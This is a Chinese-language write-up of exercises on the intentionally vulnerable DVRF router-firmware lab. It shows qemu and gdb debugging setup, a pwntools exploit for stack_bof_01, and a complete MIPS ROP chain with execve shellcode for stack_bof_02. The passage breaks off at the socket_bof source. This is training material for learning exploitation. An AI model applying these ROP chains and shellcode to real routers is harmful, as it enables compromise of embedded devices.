从DVRF靶机学习固件安全

 

Main 函数由 libc_main_start 调用，即 main 函数为非叶子函数，返回地址存放在栈上，从汇编可见：

直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据，地址等。

其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ，按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分：

 

修复 t9 寄存器思路参考师傅文章：

https://www.cnblogs.com/hac425/p/9416758.html

调试方法

需要打开几个 terminal 启动不同的命令：

• 启动 qemu 模拟

  -strace 查看 qemu 调试信息，方便观察执行了什么命令

  qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
  

• gdb-multiarch

  gdb-multiarch ./pwnable/Intro/stack_bof_01
  
  set architecture mips
  set endian little
  target remote :1234
  

连上之后会停在 start ，在 main 函数开头打断点，运行到这个断点，然后就慢慢单步调试。

EXP

字符串是从参数读入，跳转地址转换后是不可见字符 ，需要借助 cat 传入参数

# file_name: stack_bof_01.py
from pwn import *

context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"

backdoor = 0x0040095c 

payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)



with open("stack_bof_01_payload","w") as file:
 file.write(payload)

命令行执行：

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"

stack_bof_02

和前面一题差不多，调试方法也一样，就是少了后门函数，造成溢出函数变成了 strcpy ：

 

main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化，相当于 aslr 关闭了，直接调试查出 v4 的内存地址

Shellcode 查询：

http://shell-storm.org/shellcode/files/shellcode-792.php

直接写入 shellcode 可以完整执行完，但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况，通过加无意义的指令(nop)调整 shellcode 位置有机会能成，用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断（只有不包含截断符指令都行），尝试后无果。

 

查阅资料后发现，由于 mips 是流水指令集，存在 cache incoherency 的特性，需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode 。

https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c

 

构造 ROP 的 gadget 得去 libc 找，程序自身没多少个。我在 ubuntu18 gdb 连上报错，换到 ubuntu16 vmmap 查不出来 libc 信息（如图），最后换 attify 解决问题。

libc路径：/squashfs-root/lib/libc.so.0

 

先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数，任选一个后面 rop 没有 gadget 继续构造就换一个 -。-  ，我选着第二个构造 gadget1 = 0x2FB10 ：

 

.text:0002FB10                 li      $a0, 1
.text:0002FB14                 move    $t9, $s1
.text:0002FB18                 jalr    $t9 ; sub_2F818

接着需要找一个控制 s1 的 gadget ，用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多，最后选了 gadget2 = 0x00007730 ：

.text:00007730                 lw      $ra, 0x18+var_s10($sp)
.text:00007734                 lw      $s3, 0x18+var_sC($sp)
.text:00007738                 lw      $s2, 0x18+var_s8($sp)
.text:0000773C                 lw      $s1, 0x18+var_s4($sp)
.text:00007740                 lw      $s0, 0x18+var_s0($sp)
.text:00007744                 jr      $ra

至此 a0 被控制为 1 ，目前 payload 结构为：

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra

不能直接将 sleep(0x767142b0) 填到 s1 处，因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器（或压栈）的过程，当 sleep 运行到结尾的 jalr $ra 时，又会跳转会到 gadget1 ，所以要换个方式。

mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ，选择了 gadget3 = 0x00020F1C ：

.text:00020F1C                 move    $t9, $s2
.text:00020F20                 lw      $ra, 0x18+var_sC($sp)
.text:00020F24                 lw      $s2, 0x18+var_s8($sp)
.text:00020F28                 lw      $s1, 0x18+var_s4($sp)
.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)
.text:00020F30                 jr      $t9

解决 sleep 运行结束返回地址问题，并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转，payload 结构：

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra

mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中，找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0  这个，通过 gadget3 提前将下次跳转地址写入 s0 :

.text:00016DD0                 addiu   $a0, $sp, 0x38+var_20
.text:00016DD4                 move    $t9, $s0
.text:00016DD8                 jalr    $t9

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra

最后找一个用 a0 跳转的 gadget ，一开始用 mipsrop.tails() 没找到，最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ，对 mipsrop 理解不够……

.text:000214A0                 move    $t9, $a0
.text:000214A4                 sw      $v0, 0x30+var_18($sp)
.text:000214A8                 jalr    $t9

最后跳转 shellcode 时，0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ，用无意义指令填充，将 shellcode 向后移。

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode

EXP

from pwn import *

context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"

# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
   0x76714b10: li a0,1
   0x76714b14: move t9,s1
   0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
   0x766ec730: lw ra,40(sp)
   0x766ec734: lw s3,36(sp)
   0x766ec738: lw s2,32(sp)
   0x766ec73c: lw s1,28(sp)
   0x766ec740: lw s0,24(sp)
   0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
   0x76705f1c: move t9,s2
   0x76705f20: lw ra,36(sp)
   0x76705f24: lw s2,32(sp)
   0x76705f28: lw s1,28(sp)
   0x76705f2c: lw s0,24(sp)
   0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
   0x766fbdd0: addiu a0,sp,24
   0x766fbdd4 : move t9,s0
   0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
   0x767064a0: move t9,a0
   0x767064a4: sw v0,24(sp)
   0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode


with open("stack_bof_02_payload","w") as file:
 file.write(payload)

socket_bof

这题二进制文件用 ida 看伪代码有点瑕疵，本来溢出点变成了一个指针，导致一直找不到，最后无奈去看了下源码和结合汇编。

#include 
#include 
#include 
#include 
#include 
#include 

// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
 
int main(int argc, char **argv[])
{

if (argc